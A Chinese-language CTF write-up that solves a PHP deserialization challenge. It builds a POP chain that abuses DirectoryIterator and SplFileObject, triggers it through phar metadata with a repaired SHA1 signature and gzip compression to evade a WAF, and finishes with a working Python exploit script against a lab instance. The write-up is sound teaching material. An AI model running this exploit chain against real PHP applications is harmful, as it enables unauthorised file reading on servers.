[toc]

源码

复现一道php反序列化题目,题目给出源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php
highlight_file(__FILE__);

function waf($data){
if (is_array($data)){
die("Cannot transfer arrays");
}
if (preg_match('/get|air|tree|apple|banana|php|filter|base64|rot13|read|data/i', $data)) {
die("You can't do");
}
}

class air{
public $p;

public function __set($p, $value) {
$p = $this->p->act;
echo new $p($value);
}
}

class tree{
public $name;
public $act;

public function __destruct() {
return $this->name();
}
public function __call($name, $arg){
$arg[1] =$this->name->$name;

}
}

class apple {
public $xxx;
public $flag;
public function __get($flag)
{
$this->xxx->$flag = $this->flag;
}
}

class D {
public $start;

public function __destruct(){
$data = $_POST[0];
if ($this->start == 'w') {
waf($data);
$filename = "/tmp/".md5(rand()).".jpg";
file_put_contents($filename, $data);
echo $filename;
} else if ($this->start == 'r') {
waf($data);
$f = file_get_contents($data);
if($f){
echo "It is file";
}
else{
echo "You can look at the others";
}
}
}
}

class banana {
public function __get($name){
return $this->$name;
}
}
// flag in /
if(strlen($_POST[1]) < 55) {
$a = unserialize($_POST[1]);
}
else{
echo "str too long";
}

throw new Error("start");
?>

利用点

利用点在air类中,在echo new $p($value);可以想办法控制类名和参数,利用php原生类进行文件读取或者目录遍历

可遍历目录类有以下几个:

  • DirectoryIterator 类

  • FilesystemIterator 类

  • GlobIterator 类

如果我们这样:

1
2
3
<?php
$dir=new DirectoryIterator("/");
echo $dir;

会创建一个指定目录的迭代器。当执行到echo函数时,会触发DirectoryIterator类中的 __toString() 方法,输出指定目录里面经过排序之后的第一个文件名

也可以配合glob://协议使用模式匹配来寻找我们想要的文件路径:

glob:// 协议用来查找匹配的文件路径模式

1
2
3
<?php
$dir=new DirectoryIterator("glob:///*flag*");
echo $dir;

目前发现的可读取文件类有:

  • SplFileObject 类

该类的构造方法可以构造一个新的文件对象用于后续的读取。

我们可以像类似下面这样去读取一个文件的一行:

1
2
3
<?php
$context = new SplFileObject('/etc/passwd');
echo $context;

构造POP链

可以简单写一个pop链,先用DirectoryIterator找出flag文件名,再用SplFileObject读取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

class air{
}

class tree{
}

class apple {
public $flag='glob:///*f*';
}

class banana {
public $act='DirectoryIterator';
// public $act='SplFileObject';
}

$air =new air();
$apple =new apple();
$tree=new tree();
$banana=new banana();

$air->p=$banana;
$apple->xxx=$air;
$tree->name=$apple;

那么现在的目标就是要能够将$tree反序列化即可,观察题目源码,存在写文件和读文件操作,可以先写入phar文件,再用file_get_contents触发phar,从而将$tree反序列化

绕过异常

注意到本题源码的末尾存在一行

1
throw new Error("start");

这会导致程序抛出异常,无法利用程序正常的结束来触发__destruct,所以我们再反序列化时可以构造错误数据,让反序列化异常退出从而触发__destruct

用D这个读写类来举例,如果正常传入数据是无法触发__destruct的,我们可以去掉末尾的大括号,这样会在反序列化时报错触发__destruct

1
2
修改前:1=O:1:"D":1:{s:5:"start";s:1:"w";}&0=123
修改后:1=O:1:"D":1:{s:5:"start";s:1:"w";&0=123

或者传入序列化的数组,再将长度改的不匹配

1
2
修改前:1=a:2:{i:0;O:1:"D":1:{s:5:"start";s:1:"w";}i:1;s:1:"1";}&0=123
修改后:1=a:2:{i:0;O:1:"D":1:{s:5:"start";s:1:"w";}i:1;s:0:"1";}&0=123

构造Phar

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php

class air{
}

class tree{
}

class apple {
public $flag='glob:///*f*';
}

class banana {
public $act='DirectoryIterator';
// public $act='SplFileObject';
}

$air =new air();
$apple =new apple();
$tree=new tree();
$banana=new banana();

$air->p=$banana;
$apple->xxx=$air;
$tree->name=$apple;

@unlink("phar.phar");
$phar = new Phar("phar.phar",0,"phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("__HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($tree); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

?>

生成phar后需要修改Metadata来绕过抛出异常,我们可以删除最后的大括号

image-20221012004235114

但是这会导致原本的phar签名匹配不上,需要手动修复一下phar的签名

1
2
3
4
5
6
7
8
from hashlib import sha1

# 修改签名
file = open("phar.phar","rb").read()
text = file[:-28] #读取开始到末尾除签名外内容
last = file[-8:] #读取最后8位的GBMB和签名flag
new_file = text+sha1(text).digest() + last #生成新的文件内容,主要是此时Sha1正确了。
open("phar.phar","wb").write(new_file)

绕过waf

waf中含有各种类名,我们可以把phar进行压缩,这样可以绕过限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import gzip
from hashlib import sha1

# 修改签名
file = open("phar.phar","rb").read()
text = file[:-28] #读取开始到末尾除签名外内容
last = file[-8:] #读取最后8位的GBMB和签名flag
new_file = text+sha1(text).digest() + last #生成新的文件内容,主要是此时Sha1正确了。
open("phar.phar","wb").write(new_file)

file = open("phar.phar", "rb") #打开文件
file_out = gzip.open("phar.zip", "wb+")#创建压缩文件对象
file_out.writelines(file)
file_out.close()
file.close()

最终exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests
import gzip
import re
from hashlib import sha1

url='http://40fdc33f-a838-4153-9dfc-a27dcbe59781.node4.buuoj.cn:81/'

def phar():
# 修改签名
file = open("phar.phar","rb").read()
text = file[:-28] #读取开始到末尾除签名外内容
last = file[-8:] #读取最后8位的GBMB和签名flag
new_file = text+sha1(text).digest() + last #生成新的文件内容,主要是此时Sha1正确了。
open("phar.phar","wb").write(new_file)

file = open("phar.phar", "rb") #打开文件
file_out = gzip.open("phar.zip", "wb+")#创建压缩文件对象
file_out.writelines(file)
file_out.close()
file.close()

def w():
mydata={'1':'O:1:"D":1:{s:5:"start";s:1:"w";','0':open('./phar.zip', 'rb').read()}
r=requests.post(url,data=mydata)
t=r.text.split('<br />\x0a<b>')[0].split('</code>')[1]
print(t)
return t

def r(path):
mydata = {'1': 'O:1:"D":1:{s:5:"start";s:1:"r";', '0': f'phar://{path}'}
r = requests.post(url, data=mydata)
t=r.text.split('</code>')[1].split('<br />')[0]
print(t)

phar()
r(w())

先找flag文件名

image-20221012010409599

再读取flag

image-20221012010631008